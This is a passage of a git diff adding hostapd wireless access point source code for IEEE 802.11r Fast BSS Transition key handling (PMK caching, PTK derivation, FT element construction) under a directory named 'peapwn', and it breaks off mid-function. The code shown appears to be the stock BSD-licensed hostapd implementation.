WPA_INVALID_AKMP, WPA_NOT_ENABLED, WPA_ALLOC_FAIL, + WPA_MGMT_FRAME_PROTECTION_VIOLATION, WPA_INVALID_MGMT_GROUP_CIPHER, + WPA_INVALID_MDIE, WPA_INVALID_PROTO +}; + +int wpa_validate_wpa_ie(struct wpa_authenticator *wpa_auth, + struct wpa_state_machine *sm, + const u8 *wpa_ie, size_t wpa_ie_len, + const u8 *mdie, size_t mdie_len); +int wpa_auth_uses_mfp(struct wpa_state_machine *sm); +struct wpa_state_machine * +wpa_auth_sta_init(struct wpa_authenticator *wpa_auth, const u8 *addr, + const u8 *p2p_dev_addr); +int wpa_auth_sta_associated(struct wpa_authenticator *wpa_auth, + struct wpa_state_machine *sm); +void wpa_auth_sta_no_wpa(struct wpa_state_machine *sm); +void wpa_auth_sta_deinit(struct wpa_state_machine *sm); +void wpa_receive(struct wpa_authenticator *wpa_auth, + struct wpa_state_machine *sm, + u8 *data, size_t data_len); +typedef enum { + WPA_AUTH, WPA_ASSOC, WPA_DISASSOC, WPA_DEAUTH, WPA_REAUTH, + WPA_REAUTH_EAPOL, WPA_ASSOC_FT +} wpa_event; +void wpa_remove_ptk(struct wpa_state_machine *sm); +int wpa_auth_sm_event(struct wpa_state_machine *sm, wpa_event event); +void wpa_auth_sm_notify(struct wpa_state_machine *sm); +void wpa_gtk_rekey(struct wpa_authenticator *wpa_auth); +int wpa_get_mib(struct wpa_authenticator *wpa_auth, char *buf, size_t buflen); +int wpa_get_mib_sta(struct wpa_state_machine *sm, char *buf, size_t buflen); +void wpa_auth_countermeasures_start(struct wpa_authenticator *wpa_auth); +int wpa_auth_pairwise_set(struct wpa_state_machine *sm); +int wpa_auth_get_pairwise(struct wpa_state_machine *sm); +int wpa_auth_sta_key_mgmt(struct wpa_state_machine *sm); +int wpa_auth_sta_wpa_version(struct wpa_state_machine *sm); +int wpa_auth_sta_clear_pmksa(struct wpa_state_machine *sm, + struct rsn_pmksa_cache_entry *entry); +struct rsn_pmksa_cache_entry * +wpa_auth_sta_get_pmksa(struct wpa_state_machine *sm); +void wpa_auth_sta_local_mic_failure_report(struct wpa_state_machine *sm); +const u8 * wpa_auth_get_wpa_ie(struct wpa_authenticator *wpa_auth, + size_t *len); +int wpa_auth_pmksa_add(struct wpa_state_machine *sm, const u8 *pmk, + int session_timeout, struct eapol_state_machine *eapol); +int wpa_auth_pmksa_add_preauth(struct wpa_authenticator *wpa_auth, + const u8 *pmk, size_t len, const u8 *sta_addr, + int session_timeout, + struct eapol_state_machine *eapol); +void wpa_auth_pmksa_remove(struct wpa_authenticator *wpa_auth, + const u8 *sta_addr); +int wpa_auth_sta_set_vlan(struct wpa_state_machine *sm, int vlan_id); +void wpa_auth_eapol_key_tx_status(struct wpa_authenticator *wpa_auth, + struct wpa_state_machine *sm, int ack); + +#ifdef CONFIG_IEEE80211R +u8 * wpa_sm_write_assoc_resp_ies(struct wpa_state_machine *sm, u8 *pos, + size_t max_len, int auth_alg, + const u8 *req_ies, size_t req_ies_len); +void wpa_ft_process_auth(struct wpa_state_machine *sm, const u8 *bssid, + u16 auth_transaction, const u8 *ies, size_t ies_len, + void (*cb)(void *ctx, const u8 *dst, const u8 *bssid, + u16 auth_transaction, u16 resp, + const u8 *ies, size_t ies_len), + void *ctx); +u16 wpa_ft_validate_reassoc(struct wpa_state_machine *sm, const u8 *ies, + size_t ies_len); +int wpa_ft_action_rx(struct wpa_state_machine *sm, const u8 *data, size_t len); +int wpa_ft_rrb_rx(struct wpa_authenticator *wpa_auth, const u8 *src_addr, + const u8 *data, size_t data_len); +void wpa_ft_push_pmk_r1(struct wpa_authenticator *wpa_auth, const u8 *addr); +#endif /* CONFIG_IEEE80211R */ + +void wpa_wnmsleep_rekey_gtk(struct wpa_state_machine *sm); +void wpa_set_wnmsleep(struct wpa_state_machine *sm, int flag); +int wpa_wnmsleep_gtk_subelem(struct wpa_state_machine *sm, u8 *pos); +int wpa_wnmsleep_igtk_subelem(struct wpa_state_machine *sm, u8 *pos); + +int wpa_auth_uses_sae(struct wpa_state_machine *sm); + +#endif /* WPA_AUTH_H */ diff --git a/peapwn/mods/hostap/src/ap/wpa_auth_ft.c b/peapwn/mods/hostap/src/ap/wpa_auth_ft.c new file mode 100644 index 000000000..29d9d29ea --- /dev/null +++ b/peapwn/mods/hostap/src/ap/wpa_auth_ft.c @@ -0,0 +1,1663 @@ +/* + * hostapd - IEEE 802.11r - Fast BSS Transition + * Copyright (c) 2004-2009, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "utils/includes.h" + +#include "utils/common.h" +#include "common/ieee802_11_defs.h" +#include "common/ieee802_11_common.h" +#include "crypto/aes_wrap.h" +#include "crypto/random.h" +#include "ap_config.h" +#include "ieee802_11.h" +#include "wmm.h" +#include "wpa_auth.h" +#include "wpa_auth_i.h" + + +#ifdef CONFIG_IEEE80211R + +static int wpa_ft_rrb_send(struct wpa_authenticator *wpa_auth, const u8 *dst, + const u8 *data, size_t data_len) +{ + if (wpa_auth->cb.send_ether == NULL) + return -1; + wpa_printf(MSG_DEBUG, "FT: RRB send to " MACSTR, MAC2STR(dst)); + return wpa_auth->cb.send_ether(wpa_auth->cb.ctx, dst, ETH_P_RRB, + data, data_len); +} + + +static int wpa_ft_action_send(struct wpa_authenticator *wpa_auth, + const u8 *dst, const u8 *data, size_t data_len) +{ + if (wpa_auth->cb.send_ft_action == NULL) + return -1; + return wpa_auth->cb.send_ft_action(wpa_auth->cb.ctx, dst, + data, data_len); +} + + +static struct wpa_state_machine * +wpa_ft_add_sta(struct wpa_authenticator *wpa_auth, const u8 *sta_addr) +{ + if (wpa_auth->cb.add_sta == NULL) + return NULL; + return wpa_auth->cb.add_sta(wpa_auth->cb.ctx, sta_addr); +} + + +static int wpa_ft_add_tspec(struct wpa_authenticator *wpa_auth, + const u8 *sta_addr, + u8 *tspec_ie, size_t tspec_ielen) +{ + if (wpa_auth->cb.add_tspec == NULL) { + wpa_printf(MSG_DEBUG, "FT: add_tspec is not initialized"); + return -1; + } + return wpa_auth->cb.add_tspec(wpa_auth->cb.ctx, sta_addr, tspec_ie, + tspec_ielen); +} + + +int wpa_write_mdie(struct wpa_auth_config *conf, u8 *buf, size_t len) +{ + u8 *pos = buf; + u8 capab; + if (len < 2 + sizeof(struct rsn_mdie)) + return -1; + + *pos++ = WLAN_EID_MOBILITY_DOMAIN; + *pos++ = MOBILITY_DOMAIN_ID_LEN + 1; + os_memcpy(pos, conf->mobility_domain, MOBILITY_DOMAIN_ID_LEN); + pos += MOBILITY_DOMAIN_ID_LEN; + capab = 0; + if (conf->ft_over_ds) + capab |= RSN_FT_CAPAB_FT_OVER_DS; + *pos++ = capab; + + return pos - buf; +} + + +int wpa_write_ftie(struct wpa_auth_config *conf, const u8 *r0kh_id, + size_t r0kh_id_len, + const u8 *anonce, const u8 *snonce, + u8 *buf, size_t len, const u8 *subelem, + size_t subelem_len) +{ + u8 *pos = buf, *ielen; + struct rsn_ftie *hdr; + + if (len < 2 + sizeof(*hdr) + 2 + FT_R1KH_ID_LEN + 2 + r0kh_id_len + + subelem_len) + return -1; + + *pos++ = WLAN_EID_FAST_BSS_TRANSITION; + ielen = pos++; + + hdr = (struct rsn_ftie *) pos; + os_memset(hdr, 0, sizeof(*hdr)); + pos += sizeof(*hdr); + WPA_PUT_LE16(hdr->mic_control, 0); + if (anonce) + os_memcpy(hdr->anonce, anonce, WPA_NONCE_LEN); + if (snonce) + os_memcpy(hdr->snonce, snonce, WPA_NONCE_LEN); + + /* Optional Parameters */ + *pos++ = FTIE_SUBELEM_R1KH_ID; + *pos++ = FT_R1KH_ID_LEN; + os_memcpy(pos, conf->r1_key_holder, FT_R1KH_ID_LEN); + pos += FT_R1KH_ID_LEN; + + if (r0kh_id) { + *pos++ = FTIE_SUBELEM_R0KH_ID; + *pos++ = r0kh_id_len; + os_memcpy(pos, r0kh_id, r0kh_id_len); + pos += r0kh_id_len; + } + + if (subelem) { + os_memcpy(pos, subelem, subelem_len); + pos += subelem_len; + } + + *ielen = pos - buf - 2; + + return pos - buf; +} + + +struct wpa_ft_pmk_r0_sa { + struct wpa_ft_pmk_r0_sa *next; + u8 pmk_r0[PMK_LEN]; + u8 pmk_r0_name[WPA_PMK_NAME_LEN]; + u8 spa[ETH_ALEN]; + int pairwise; /* Pairwise cipher suite, WPA_CIPHER_* */ + /* TODO: expiration, identity, radius_class, EAP type, VLAN ID */ + int pmk_r1_pushed; +}; + +struct wpa_ft_pmk_r1_sa { + struct wpa_ft_pmk_r1_sa *next; + u8 pmk_r1[PMK_LEN]; + u8 pmk_r1_name[WPA_PMK_NAME_LEN]; + u8 spa[ETH_ALEN]; + int pairwise; /* Pairwise cipher suite, WPA_CIPHER_* */ + /* TODO: expiration, identity, radius_class, EAP type, VLAN ID */ +}; + +struct wpa_ft_pmk_cache { + struct wpa_ft_pmk_r0_sa *pmk_r0; + struct wpa_ft_pmk_r1_sa *pmk_r1; +}; + +struct wpa_ft_pmk_cache * wpa_ft_pmk_cache_init(void) +{ + struct wpa_ft_pmk_cache *cache; + + cache = os_zalloc(sizeof(*cache)); + + return cache; +} + + +void wpa_ft_pmk_cache_deinit(struct wpa_ft_pmk_cache *cache) +{ + struct wpa_ft_pmk_r0_sa *r0, *r0prev; + struct wpa_ft_pmk_r1_sa *r1, *r1prev; + + r0 = cache->pmk_r0; + while (r0) { + r0prev = r0; + r0 = r0->next; + os_memset(r0prev->pmk_r0, 0, PMK_LEN); + os_free(r0prev); + } + + r1 = cache->pmk_r1; + while (r1) { + r1prev = r1; + r1 = r1->next; + os_memset(r1prev->pmk_r1, 0, PMK_LEN); + os_free(r1prev); + } + + os_free(cache); +} + + +static int wpa_ft_store_pmk_r0(struct wpa_authenticator *wpa_auth, + const u8 *spa, const u8 *pmk_r0, + const u8 *pmk_r0_name, int pairwise) +{ + struct wpa_ft_pmk_cache *cache = wpa_auth->ft_pmk_cache; + struct wpa_ft_pmk_r0_sa *r0; + + /* TODO: add expiration and limit on number of entries in cache */ + + r0 = os_zalloc(sizeof(*r0)); + if (r0 == NULL) + return -1; + + os_memcpy(r0->pmk_r0, pmk_r0, PMK_LEN); + os_memcpy(r0->pmk_r0_name, pmk_r0_name, WPA_PMK_NAME_LEN); + os_memcpy(r0->spa, spa, ETH_ALEN); + r0->pairwise = pairwise; + + r0->next = cache->pmk_r0; + cache->pmk_r0 = r0; + + return 0; +} + + +static int wpa_ft_fetch_pmk_r0(struct wpa_authenticator *wpa_auth, + const u8 *spa, const u8 *pmk_r0_name, + u8 *pmk_r0, int *pairwise) +{ + struct wpa_ft_pmk_cache *cache = wpa_auth->ft_pmk_cache; + struct wpa_ft_pmk_r0_sa *r0; + + r0 = cache->pmk_r0; + while (r0) { + if (os_memcmp(r0->spa, spa, ETH_ALEN) == 0 && + os_memcmp(r0->pmk_r0_name, pmk_r0_name, WPA_PMK_NAME_LEN) + == 0) { + os_memcpy(pmk_r0, r0->pmk_r0, PMK_LEN); + if (pairwise) + *pairwise = r0->pairwise; + return 0; + } + + r0 = r0->next; + } + + return -1; +} + + +static int wpa_ft_store_pmk_r1(struct wpa_authenticator *wpa_auth, + const u8 *spa, const u8 *pmk_r1, + const u8 *pmk_r1_name, int pairwise) +{ + struct wpa_ft_pmk_cache *cache = wpa_auth->ft_pmk_cache; + struct wpa_ft_pmk_r1_sa *r1; + + /* TODO: add expiration and limit on number of entries in cache */ + + r1 = os_zalloc(sizeof(*r1)); + if (r1 == NULL) + return -1; + + os_memcpy(r1->pmk_r1, pmk_r1, PMK_LEN); + os_memcpy(r1->pmk_r1_name, pmk_r1_name, WPA_PMK_NAME_LEN); + os_memcpy(r1->spa, spa, ETH_ALEN); + r1->pairwise = pairwise; + + r1->next = cache->pmk_r1; + cache->pmk_r1 = r1; + + return 0; +} + + +static int wpa_ft_fetch_pmk_r1(struct wpa_authenticator *wpa_auth, + const u8 *spa, const u8 *pmk_r1_name, + u8 *pmk_r1, int *pairwise) +{ + struct wpa_ft_pmk_cache *cache = wpa_auth->ft_pmk_cache; + struct wpa_ft_pmk_r1_sa *r1; + + r1 = cache->pmk_r1; + while (r1) { + if (os_memcmp(r1->spa, spa, ETH_ALEN) == 0 && + os_memcmp(r1->pmk_r1_name, pmk_r1_name, WPA_PMK_NAME_LEN) + == 0) { + os_memcpy(pmk_r1, r1->pmk_r1, PMK_LEN); + if (pairwise) + *pairwise = r1->pairwise; + return 0; + } + + r1 = r1->next; + } + + return -1; +} + + +static int wpa_ft_pull_pmk_r1(struct wpa_authenticator *wpa_auth, + const u8 *s1kh_id, const u8 *r0kh_id, + size_t r0kh_id_len, const u8 *pmk_r0_name) +{ + struct ft_remote_r0kh *r0kh; + struct ft_r0kh_r1kh_pull_frame frame, f; + + r0kh = wpa_auth->conf.r0kh_list; + while (r0kh) { + if (r0kh->id_len == r0kh_id_len && + os_memcmp(r0kh->id, r0kh_id, r0kh_id_len) == 0) + break; + r0kh = r0kh->next; + } + if (r0kh == NULL) + return -1; + + wpa_printf(MSG_DEBUG, "FT: Send PMK-R1 pull request to remote R0KH " + "address " MACSTR, MAC2STR(r0kh->addr)); + + os_memset(&frame, 0, sizeof(frame)); + frame.frame_type = RSN_REMOTE_FRAME_TYPE_FT_RRB; + frame.packet_type = FT_PACKET_R0KH_R1KH_PULL; + frame.data_length = host_to_le16(FT_R0KH_R1KH_PULL_DATA_LEN); + os_memcpy(frame.ap_address, wpa_auth->addr, ETH_ALEN); + + /* aes_wrap() does not support inplace encryption, so use a temporary + * buffer for the data. */ + if (random_get_bytes(f.nonce, sizeof(f.nonce))) { + wpa_printf(MSG_DEBUG, "FT: Failed to get random data for " + "nonce"); + return -1; + } + os_memcpy(f.pmk_r0_name, pmk_r0_name, WPA_PMK_NAME_LEN); + os_memcpy(f.r1kh_id, wpa_auth->conf.r1_key_holder, FT_R1KH_ID_LEN); + os_memcpy(f.s1kh_id, s1kh_id, ETH_ALEN); + os_memset(f.pad, 0, sizeof(f.pad)); + + if (aes_wrap(r0kh->key, (FT_R0KH_R1KH_PULL_DATA_LEN + 7) / 8, + f.nonce, frame.nonce) < 0) + return -1; + + wpa_ft_rrb_send(wpa_auth, r0kh->addr, (u8 *) &frame, sizeof(frame)); + + return 0; +} + + +int wpa_auth_derive_ptk_ft(struct wpa_state_machine *sm, const u8 *pmk, + struct wpa_ptk *ptk, size_t ptk_len) +{ + u8 pmk_r0[PMK_LEN], pmk_r0_name[WPA_PMK_NAME_LEN]; + u8 pmk_r1[PMK_LEN]; + u8 ptk_name[WPA_PMK_NAME_LEN]; + const u8 *mdid = sm->wpa_auth->conf.mobility_domain; + const u8 *r0kh = sm->wpa_auth->conf.r0_key_holder; + size_t r0kh_len = sm->wpa_auth->conf.r0_key_holder_len; + const u8 *r1kh = sm->wpa_auth->conf.r1_key_holder; + const u8 *ssid = sm->wpa_auth->conf.ssid; + size_t ssid_len = sm->wpa_auth->conf.ssid_len; + + + if (sm->xxkey_len == 0) { + wpa_printf(MSG_DEBUG, "FT: XXKey not available for key " + "derivation"); + return -1; + } + + wpa_derive_pmk_r0(sm->xxkey, sm->xxkey_len, ssid, ssid_len, mdid, + r0kh, r0kh_len, sm->addr, pmk_r0, pmk_r0_name); + wpa_hexdump_key(MSG_DEBUG, "FT: PMK-R0", pmk_r0, PMK_LEN); + wpa_hexdump(MSG_DEBUG, "FT: PMKR0Name", pmk_r0_name, WPA_PMK_NAME_LEN); + wpa_ft_store_pmk_r0(sm->wpa_auth, sm->addr, pmk_r0, pmk_r0_name, + sm->pairwise); + + wpa_derive_pmk_r1(pmk_r0, pmk_r0_name, r1kh, sm->addr, + pmk_r1, sm->pmk_r1_name); + wpa_hexdump_key(MSG_DEBUG, "FT: PMK-R1", pmk_r1, PMK_LEN); + wpa_hexdump(MSG_DEBUG, "FT: PMKR1Name", sm->pmk_r1_name, + WPA_PMK_NAME_LEN); + wpa_ft_store_pmk_r1(sm->wpa_auth, sm->addr, pmk_r1, sm->pmk_r1_name, + sm->pairwise); + + wpa_pmk_r1_to_ptk(pmk_r1, sm->SNonce, sm->ANonce, sm->addr, + sm->wpa_auth->addr, sm->pmk_r1_name, + (u8 *) ptk, ptk_len, ptk_name); + wpa_hexdump_key(MSG_DEBUG, "FT: PTK", (u8 *) ptk, ptk_len); + wpa_hexdump(MSG_DEBUG, "FT: PTKName", ptk_name, WPA_PMK_NAME_LEN); + + return 0; +} + + +static inline int wpa_auth_get_seqnum(struct wpa_authenticator *wpa_auth, + const u8 *addr, int idx, u8 *seq) +{ + if (wpa_auth->cb.get_seqnum == NULL) + return -1; + return wpa_auth->cb.get_seqnum(wpa_auth->cb.ctx, addr, idx, seq); +} + + +static u8 * wpa_ft_gtk_subelem(struct wpa_state_machine *sm, size_t *len) +{ + u8 *subelem; + struct wpa_group *gsm = sm->group; + size_t subelem_len, pad_len; + const u8 *key; + size_t key_len; + u8 keybuf[32]; + + key_len = gsm->GTK_len; + if (key_len > sizeof(keybuf)) + return NULL; + + /* + * Pad key for AES Key Wrap if it is not multiple of 8 bytes or is less + * than 16 bytes. + */ + pad_len = key_len % 8; + if (pad_len) + pad_len = 8 - pad_len; + if (key_len + pad_len < 16) + pad_len += 8; + if (pad_len && key_len < sizeof(keybuf)) { + os_memcpy(keybuf, gsm->GTK[gsm->GN - 1], key_len); + os_memset(keybuf + key_len, 0, pad_len); + keybuf[key_len] = 0xdd; + key_len += pad_len; + key = keybuf; + } else + key = gsm->GTK[gsm->GN - 1]; + + /* + * Sub-elem ID[1] | Length[1] | Key Info[2] | Key Length[1] | RSC[8] | + * Key[5..32]. + */ + subelem_len = 13 + key_len + 8; + subelem = os_zalloc(subelem_len); + if (subelem == NULL) + return NULL; + + subelem[0] = FTIE_SUBELEM_GTK; + subelem[1] = 11 + key_len + 8; + /* Key ID in B0-B1 of Key Info */ + WPA_PUT_LE16(&subelem[2], gsm->GN & 0x03); + subelem[4] = gsm->GTK_len; + wpa_auth_get_seqnum(sm->wpa_auth, NULL, gsm->GN, subelem + 5); + if (aes_wrap(sm->PTK.kek, key_len / 8, key, subelem + 13)) { + os_free(subelem); + return NULL; + } + + *len = subelem_len; + return subelem; +} + + +#ifdef CONFIG_IEEE80211W +static u8 * wpa_ft_igtk_subelem(struct wpa_state_machine *sm, size_t *len) +{ + u8 *subelem, *pos; + struct wpa_group *gsm = sm->group; + size_t subelem_len; + + /* Sub-elem ID[1] | Length[1] | KeyID[2] | IPN[6] | Key Length[1] | + * Key[16+8] */ + subelem_len = 1 + 1 + 2 + 6 + 1 + WPA_IGTK_LEN + 8; + subelem = os_zalloc(subelem_len); + if (subelem == NULL) + return NULL; + + pos = subelem; + *pos++ = FTIE_SUBELEM_IGTK; + *pos++ = subelem_len - 2; + WPA_PUT_LE16(pos, gsm->GN_igtk); + pos += 2; + wpa_auth_get_seqnum(sm->wpa_auth, NULL, gsm->GN_igtk, pos); + pos += 6; + *pos++ = WPA_IGTK_LEN; + if (aes_wrap(sm->PTK.kek, WPA_IGTK_LEN / 8, + gsm->IGTK[gsm->GN_igtk - 4], pos)) { + os_free(subelem); + return NULL; + } + + *len = subelem_len; + return subelem; +} +#endif /* CONFIG_IEEE80211W */ + + +static u8 * wpa_ft_process_rdie(struct wpa_state_machine *sm, + u8 *pos, u8 *end, u8 id, u8 descr_count, + const u8 *ies, size_t ies_len) +{ + struct ieee802_11_elems parse; + struct rsn_rdie *rdie; + + wpa_printf(MSG_DEBUG, "FT: Resource Request: id=%d descr_count=%d", + id, descr_count); + wpa_hexdump(MSG_MSGDUMP, "FT: Resource descriptor IE(s)", + ies, ies_len); + + if (end - pos < (int) sizeof(*rdie)) { + wpa_printf(MSG_ERROR, "FT: Not enough room for response RDIE"); + return pos; + } + + *pos++ = WLAN_EID_RIC_DATA; + *pos++ = sizeof(*rdie); + rdie = (struct rsn_rdie *) pos; + rdie->id = id; + rdie->descr_count = 0; + rdie->status_code = host_to_le16(WLAN_STATUS_SUCCESS); + pos += sizeof(*rdie); + + if (ieee802_11_parse_elems((u8 *) ies, ies_len, &parse, 1) == + ParseFailed) { + wpa_printf(MSG_DEBUG, "FT: Failed to parse request IEs"); + rdie->status_code = + host_to_le16(WLAN_STATUS_UNSPECIFIED_FAILURE); + return pos; + } + +#ifdef NEED_AP_MLME + if (parse.wmm_tspec && sm->wpa_auth->conf.ap_mlme) { + struct wmm_tspec_element *tspec; + int res; + + if (parse.wmm_tspec_len + 2 < (int) sizeof(*tspec)) { + wpa_printf(MSG_DEBUG, "FT: Too short WMM TSPEC IE " + "(%d)", (int) parse.wmm_tspec_len); + rdie->status_code = + host_to_le16(WLAN_STATUS_UNSPECIFIED_FAILURE); + return pos; + } + if (end - pos < (int) sizeof(*tspec)) { + wpa_printf(MSG_ERROR, "FT: Not enough room for " + "response TSPEC"); + rdie->status_code = + host_to_le16(WLAN_STATUS_UNSPECIFIED_FAILURE); + return pos; + } + tspec = (struct wmm_tspec_element *) pos; + os_memcpy(tspec, parse.wmm_tspec - 2, sizeof(*tspec)); + res = wmm_process_tspec(tspec); + wpa_printf(MSG_DEBUG, "FT: ADDTS processing result: %d", res); + if (res == WMM_ADDTS_STATUS_INVALID_PARAMETERS) + rdie->status_code = + host_to_le16(WLAN_STATUS_INVALID_PARAMETERS); + else if (res == WMM_ADDTS_STATUS_REFUSED) + rdie->status_code = + host_to_le16(WLAN_STATUS_REQUEST_DECLINED); + else { + /* TSPEC accepted; include updated TSPEC in response */ + rdie->descr_count = 1; + pos += sizeof(*tspec); + } + return pos; + } +#endif /* NEED_AP_MLME */ + + if (parse.wmm_tspec && !sm->wpa_auth->conf.ap_mlme) { + struct wmm_tspec_element *tspec; + int res; + + tspec = (struct wmm_tspec_element *) pos; + os_memcpy(tspec, parse.wmm_tspec - 2, sizeof(*tspec)); + res = wpa_ft_add_tspec(sm->wpa_auth, sm->addr, pos, + sizeof(*tspec)); + if (res >= 0) { + if (res) + rdie->status_code = host_to_le16(res); + else { + /* TSPEC accepted; include updated TSPEC in + * response */ + rdie->descr_count = 1; + pos += sizeof(*tspec); + } + return pos; + } + } + + wpa_printf(MSG_DEBUG, "FT: No supported resource requested"); + rdie->status_code = host_to_le16(WLAN_STATUS_UNSPECIFIED_FAILURE); + return pos; +} + + +static u8 * wpa_ft_process_ric(struct wpa_state_machine *sm, u8 *pos, u8 *end, + const u8 *ric, size_t ric_len) +{ + const u8 *rpos, *start; + const struct rsn_rdie *rdie; + + wpa_hexdump(MSG_MSGDUMP, "FT: RIC Request", ric, ric_len); + + rpos = ric; + while (rpos + sizeof(*rdie) < ric + ric_len) { + if (rpos[0] != WLAN_EID_RIC_DATA || rpos[1] < sizeof(*rdie) || + rpos + 2 + rpos[1] > ric + ric_len) + break; + rdie = (const struct rsn_rdie *) (rpos + 2); + rpos += 2 + rpos[1]; + start = rpos; + + while (rpos + 2 <= ric + ric_len && + rpos + 2 + rpos[1] <= ric + ric_len) { + if (rpos[0] == WLAN_EID_RIC_DATA) + break; + rpos += 2 + rpos[1]; + } + pos = wpa_ft_process_rdie(sm, pos, end, rdie->id, + rdie->descr_count, + start, rpos - start); + } + + return pos; +} + + +u8 * wpa_sm_write_assoc_resp_ies(struct wpa_state_machine *sm, u8 *pos, + size_t max_len, int auth_alg, + const u8 *req_ies, size_t req_ies_len) +{ + u8 *end, *mdie, *ftie, *rsnie = NULL, *r0kh_id, *subelem = NULL; + size_t mdie_len, ftie_len, rsnie_len = 0, r0kh_id_len, subelem_len = 0; + int res; + struct wpa_auth_config *conf; + struct rsn_ftie *_ftie; + struct wpa_ft_ies parse; + u8 *ric_start; + u8 *anonce, *snonce; + + if (sm == NULL) + return pos; + + conf = &sm->wpa_auth->conf; + + if (sm->wpa_key_mgmt != WPA_KEY_MGMT_FT_IEEE8021X && + sm->wpa_key_mgmt != WPA_KEY_MGMT_FT_PSK) + return pos; + + end = pos + max_len; + + if (auth_alg == WLAN_AUTH_FT) { + /* + * RSN (only present if this is a Reassociation Response and + * part of a fast BSS transition) + */ + res = wpa_write_rsn_ie(conf, pos, end - pos, sm->pmk_r1_name); + if (res < 0) + return pos; + rsnie = pos; + rsnie_len = res; + pos += res; + } + + /* Mobility Domain Information */ + res = wpa_write_mdie(conf, pos, end - pos); + if (res < 0) + return pos; + mdie = pos; + mdie_len = res; + pos += res; + + /* Fast BSS Transition Information */ + if (auth_alg == WLAN_AUTH_FT) { + subelem = wpa_ft_gtk_subelem(sm, &subelem_len); + r0kh_id = sm->r0kh_id; + r0kh_id_len = sm->r0kh_id_len; + anonce = sm->ANonce; + snonce = sm->SNonce; +#ifdef CONFIG_IEEE80211W + if (sm->mgmt_frame_prot) { + u8 *igtk; + size_t igtk_len; + u8 *nbuf; + igtk = wpa_ft_igtk_subelem(sm, &igtk_len); + if (igtk == NULL) { + os_free(subelem); + return pos; + } + nbuf = os_realloc(subelem, subelem_len + igtk_len); + if (nbuf == NULL) { + os_free(subelem); + os_free(igtk); + return pos; + } + subelem = nbuf; + os_memcpy(subelem + subelem_len, igtk, igtk_len); + subelem_len += igtk_len; + os_free(igtk); + } +#endif /* CONFIG_IEEE80211W */ + } else { + r0kh_id = conf->r0_key_holder; + r0kh_id_len = conf->r0_key_holder_len; + anonce = NULL; + snonce = NULL; + } + res = wpa_write_ftie(conf, r0kh_id, r0kh_id_len, anonce, snonce, pos, + end - pos, subelem, subelem_len); + os_free(subelem); + if (res < 0) + return pos; + ftie = pos; + ftie_len = res; + pos += res; + + os_free(sm->assoc_resp_ftie); + sm->assoc_resp_ftie = os_malloc(ftie_len); + if (sm->assoc_resp_ftie) + os_memcpy(sm->assoc_resp_ftie, ftie, ftie_len); + + _ftie = (struct rsn_ftie *) (ftie + 2); + if (auth_alg == WLAN_AUTH_FT) + _ftie->mic_control[1] = 3; /* Information element count */ + + ric_start = pos; + if (wpa_ft_parse_ies(req_ies, req_ies_len, &parse) == 0 && parse.ric) { + pos = wpa_ft_process_ric(sm, pos, end, parse.ric, + parse.ric_len); + if (auth_alg == WLAN_AUTH_FT) + _ftie->mic_control[1] += + ieee802_11_ie_count(ric_start, + pos - ric_start); + } + if (ric_start == pos) + ric_start = NULL; + + if (auth_alg == WLAN_AUTH_FT && + wpa_ft_mic(sm->PTK.kck, sm->addr, sm->wpa_auth->addr, 6, + mdie, mdie_len, ftie, ftie_len, + rsnie, rsnie_len, + ric_start, ric_start ? pos - ric_start : 0, + _ftie->mic) < 0) + wpa_printf(MSG_DEBUG, "FT: Failed to calculate MIC"); + + return pos; +} + + +static inline int wpa_auth_set_key(struct wpa_authenticator *wpa_auth, + int vlan_id, + enum wpa_alg alg, const u8 *addr, int idx, + u8 *key, size_t key_len) +{ + if (wpa_auth->cb.set_key == NULL) + return -1; + return wpa_auth->cb.set_key(wpa_auth->cb.ctx, vlan_id, alg, addr, idx, + key, key_len); +} + + +void wpa_ft_install_ptk(struct wpa_state_machine *sm) +{ + enum wpa_alg alg; + int klen; + + /* MLME-SETKEYS.request(PTK) */ + alg = wpa_cipher_to_alg(sm->pairwise); + klen = wpa_cipher_key_len(sm->pairwise); + if (!wpa_cipher_valid_pairwise(sm->pairwise)) { + wpa_printf(MSG_DEBUG, "FT: Unknown pairwise alg 0x%x - skip " + "PTK configuration", sm->pairwise); + return; + } + + /* FIX: add STA entry to kernel/driver here? The set_key will fail + * most likely without this.. At the moment, STA entry is added only + * after association has been completed. This function will be called + * again after association to get the PTK configured, but that could be + * optimized by adding the STA entry earlier. + */ + if (wpa_auth_set_key(sm->wpa_auth, 0, alg, sm->addr, 0, + sm->PTK.tk1, klen)) + return; + + /* FIX: MLME-SetProtection.Request(TA, Tx_Rx) */ + sm->pairwise_set = TRUE; +} + + +static u16 wpa_ft_process_auth_req(struct wpa_state_machine *sm, + const u8 *ies, size_t ies_len, + u8 **resp_ies, size_t *resp_ies_len) +{ + struct rsn_mdie *mdie; + struct rsn_ftie *ftie; + u8 pmk_r1[PMK_LEN], pmk_r1_name[WPA_PMK_NAME_LEN]; + u8 ptk_name[WPA_PMK_NAME_LEN]; + struct wpa_auth_config *conf; + struct wpa_ft_ies parse; + size_t buflen, ptk_len; + int ret; + u8 *pos, *end; + int pairwise; + + *resp_ies = NULL; + *resp_ies_len = 0; + + sm->pmk_r1_name_valid = 0; + conf = &sm->wpa_auth->conf; + + wpa_hexdump(MSG_DEBUG, "FT: Received authentication frame IEs", + ies, ies_len); + + if (wpa_ft_parse_ies(ies, ies_len, &parse) < 0) { + wpa_printf(MSG_DEBUG, "FT: Failed to parse FT IEs"); + return WLAN_STATUS_UNSPECIFIED_FAILURE; + } + + mdie = (struct rsn_mdie *) parse.mdie; + if (mdie == NULL || parse.mdie_len < sizeof(*mdie) || + os_memcmp(mdie->mobility_domain, + sm->wpa_auth->conf.mobility_domain, + MOBILITY_DOMAIN_ID_LEN) != 0) { + wpa_printf(MSG_DEBUG, "FT: Invalid MDIE"); + return WLAN_STATUS_INVALID_MDIE; + } + + ftie = (struct rsn_ftie *) parse.ftie; + if (ftie == NULL || parse.ftie_len < sizeof(*ftie)) { + wpa_printf(MSG_DEBUG, "FT: Invalid FTIE"); + return WLAN_STATUS_INVALID_FTIE; + } + + os_memcpy(sm->SNonce, ftie->snonce, WPA_NONCE_LEN); + + if (parse.r0kh_id == NULL) { + wpa_printf(MSG_DEBUG, "FT: Invalid FTIE - no R0KH-ID"); + return WLAN_STATUS_INVALID_FTIE; + } + + wpa_hexdump(MSG_DEBUG, "FT: STA R0KH-ID", + parse.r0kh_id, parse.r0kh_id_len); + os_memcpy(sm->r0kh_id, parse.r0kh_id, parse.r0kh_id_len); + sm->r0kh_id_len = parse.r0kh_id_len; + + if (parse.rsn_pmkid == 